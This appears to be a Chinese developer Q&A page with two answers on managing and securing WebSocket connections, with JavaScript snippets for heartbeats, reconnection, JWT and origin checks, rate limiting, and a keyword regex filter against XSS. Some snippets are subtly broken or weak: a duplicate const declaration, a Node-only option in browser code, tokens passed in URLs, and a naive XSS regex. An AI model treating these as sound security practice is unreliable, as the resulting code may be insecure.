如何管理 WebSocket 连接的最佳实践是什么?管理 WebSocket 连接需要考虑连接生命周期、资源优化、错误处理等多个方面。以下是最佳实践: ## 连接管理策略 ### 1. 连接建立与初始化 **客户端侧:** ```javascript const ws = new WebSocket('wss://example.com/socket'); ws.onopen = () => { console.log('WebSocket connected'); // 发送初始化消息 ws.send(JSON.stringify({ type: 'init', data: userData })); }; ws.onerror = (error) => { console.error('WebSocket error:', error); // 实现错误处理逻辑 }; ``` **服务器侧:** - 验证连接请求的合法性 - 设置合理的连接超时时间 - 记录连接元数据(用户ID、设备信息等) ### 2. 心跳机制 **实现心跳保持连接活跃:** ```javascript // 客户端心跳 let heartbeatInterval; function startHeartbeat() { heartbeatInterval = setInterval(() => { if (ws.readyState === WebSocket.OPEN) { ws.send(JSON.stringify({ type: 'ping' })); } }, 30000); // 每30秒发送一次 } ws.onmessage = (event) => { const data = JSON.parse(event.data); if (data.type === 'pong') { // 收到服务器响应,连接正常 } }; ``` **服务器心跳:** - 监控客户端活跃状态 - 超时未响应则关闭连接 - 减少无效连接占用资源 ### 3. 连接重连策略 **指数退避重连算法:** ```javascript function reconnect() { let retryCount = 0; const maxRetries = 5; const baseDelay = 1000; // 1秒 function attemptReconnect() { if (retryCount >= maxRetries) { console.error('Max reconnection attempts reached'); return; } const delay = Math.min(baseDelay * Math.pow(2, retryCount), 30000); setTimeout(() => { try { ws = new WebSocket('wss://example.com/socket'); retryCount++; } catch (error) { console.error('Reconnection failed:', error); attemptReconnect(); } }, delay); } attemptReconnect(); } ``` ### 4. 连接池管理 **服务器端连接池优化:** - 使用内存数据库(如 Redis)存储连接映射 - 实现连接分组和路由 - 设置最大连接数限制 - 实现连接负载均衡 ```javascript // 连接池示例 const connectionPool = new Map(); function addConnection(userId, ws) { connectionPool.set(userId, ws); } function getConnection(userId) { return connectionPool.get(userId); } function removeConnection(userId) { connectionPool.delete(userId); } ``` ### 5. 资源清理 **优雅关闭连接:** ```javascript function closeConnection() { if (ws && ws.readyState === WebSocket.OPEN) { // 发送关闭帧 ws.send(JSON.stringify({ type: 'close', reason: 'user_logout' })); // 等待服务器确认 setTimeout(() => { ws.close(1000, 'Normal closure'); }, 1000); } // 清理定时器 if (heartbeatInterval) { clearInterval(heartbeatInterval); } } ``` ### 6. 监控与日志 **关键监控指标:** - 连接数量和趋势 - 消息发送/接收速率 - 连接失败率 - 平均连接时长 - 内存和 CPU 使用率 **日志记录:** - 连接建立和断开事件 - 消息传输统计 - 错误和异常情况 ## 性能优化建议 1. **消息批处理**:将多个小消息合并发送 2. **压缩传输**:启用 permessage-deflate 扩展 3. **二进制数据**:使用二进制格式传输大数据 4. **连接复用**:避免频繁创建和销毁连接 5. **限流控制**:防止消息洪泛
服务端 · 2月18日 21:38
如何保护 WebSocket 连接的安全性?在生产环境中保护 WebSocket 连接需要多层次的安全措施。以下是关键的安全实践: ## 1. 使用 WSS(WebSocket Secure) **强制使用加密连接:** ```javascript // 始终使用 wss:// 而不是 ws:// const ws = new WebSocket('wss://example.com/socket'); // 验证证书 const ws = new WebSocket('wss://example.com/socket', { rejectUnauthorized: true // 拒绝无效证书 }); ``` **WSS 的优势:** - 数据传输加密(TLS/SSL) - 防止中间人攻击 - 保护敏感信息不被窃听 ## 2. 身份验证和授权 ### 连接时验证 ```javascript // 在握手时传递认证令牌 const ws = new WebSocket(`wss://example.com/socket?token=${authToken}`); // 或在连接建立后发送认证消息 ws.onopen = () => { ws.send(JSON.stringify({ type: 'auth', token: authToken })); }; ``` ### 服务器端验证 ```javascript // 验证 JWT 令牌 function validateConnection(token) { try { const decoded = jwt.verify(token, SECRET_KEY); return decoded.userId; } catch (error) { return null; } } // 握手时验证 wss.on('connection', (ws, req) => { const token = req.url.split('token=')[1]; const userId = validateConnection(token); if (!userId) { ws.close(1008, 'Unauthorized'); return; } // 认证成功,继续处理 }); ``` ## 3. Origin 头部验证 **防止跨站 WebSocket 劫持(CSWSH):** ```javascript wss.on('connection', (ws, req) => { const origin = req.headers.origin; const allowedOrigins = ['https://yourdomain.com', 'https://app.yourdomain.com']; if (!allowedOrigins.includes(origin)) { ws.close(1003, 'Unsupported Data'); return; } // 允许连接 }); ``` ## 4. 速率限制和节流 **防止消息洪泛和 DoS 攻击:** ```javascript const rateLimiter = new Map(); function checkRateLimit(userId) { const now = Date.now(); const userLimit = rateLimiter.get(userId); if (!userLimit) { rateLimiter.set(userId, { count: 1, resetTime: now + 60000 }); return true; } if (now > userLimit.resetTime) { rateLimiter.set(userId, { count: 1, resetTime: now + 60000 }); return true; } if (userLimit.count >= 100) { // 每分钟最多100条消息 return false; } userLimit.count++; return true; } wss.on('connection', (ws, req) => { ws.on('message', (message) => { if (!checkRateLimit(userId)) { ws.send(JSON.stringify({ type: 'error', message: 'Rate limit exceeded' })); return; } // 处理消息 }); }); ``` ## 5. 输入验证和消息过滤 **验证所有传入消息:** ```javascript function validateMessage(message) { const data = JSON.parse(message); // 验证消息结构 if (!data.type || typeof data.type !== 'string') { return false; } // 验证消息类型 const allowedTypes = ['chat', 'ping', 'auth']; if (!allowedTypes.includes(data.type)) { return false; } // 验证数据大小 if (JSON.stringify(data).length > 10240) { // 10KB 限制 return false; } // 验证内容(防止 XSS) if (data.content && /<script|javascript:|onerror=/i.test(data.content)) { return false; } return true; } ws.on('message', (message) => { if (!validateMessage(message)) { ws.close(1007, 'Invalid frame payload data'); return; } // 处理有效消息 }); ``` ## 6. 连接超时管理 **设置合理的超时时间:** ```javascript // 服务器端超时设置 const server = http.createServer(); const wss = new WebSocket.Server({ server, clientTracking: true, perMessageDeflate: false }); // 设置 ping/pong 超时 wss.on('connection', (ws) => { ws.isAlive = true; ws.on('pong', () => { ws.isAlive = true; }); }); // 定期检查连接状态 const interval = setInterval(() => { wss.clients.forEach((ws) => { if (ws.isAlive === false) { return ws.terminate(); } ws.isAlive = false; ws.ping(); }); }, 30000); wss.on('close', () => { clearInterval(interval); }); ``` ## 7. 日志和监控 **记录安全相关事件:** ```javascript const securityLogger = { logConnection: (userId, ip, userAgent) => { console.log(`[SECURITY] Connection from ${ip} - User: ${userId} - UA: ${userAgent}`); }, logUnauthorized: (ip, reason) => { console.warn(`[SECURITY] Unauthorized connection attempt from ${ip} - Reason: ${reason}`); }, logSuspiciousActivity: (userId, activity) => { console.error(`[SECURITY] Suspicious activity from user ${userId}: ${activity}`); } }; ``` ## 8. 网络层安全 **防火墙和负载均衡器配置:** - 限制连接来源 IP - 设置最大连接数 - 启用 DDoS 防护 - 配置 Web 应用防火墙(WAF) ## 安全检查清单 - [ ] 使用 WSS 加密连接 - [ ] 实施身份验证机制 - [ ] 验证 Origin 头部 - [ ] 实现速率限制 - [ ] 验证所有输入消息 - [ ] 设置连接超时 - [ ] 记录安全事件日志 - [ ] 定期更新依赖库 - [ ] 进行安全审计和渗透测试
服务端 · 2月18日 21:30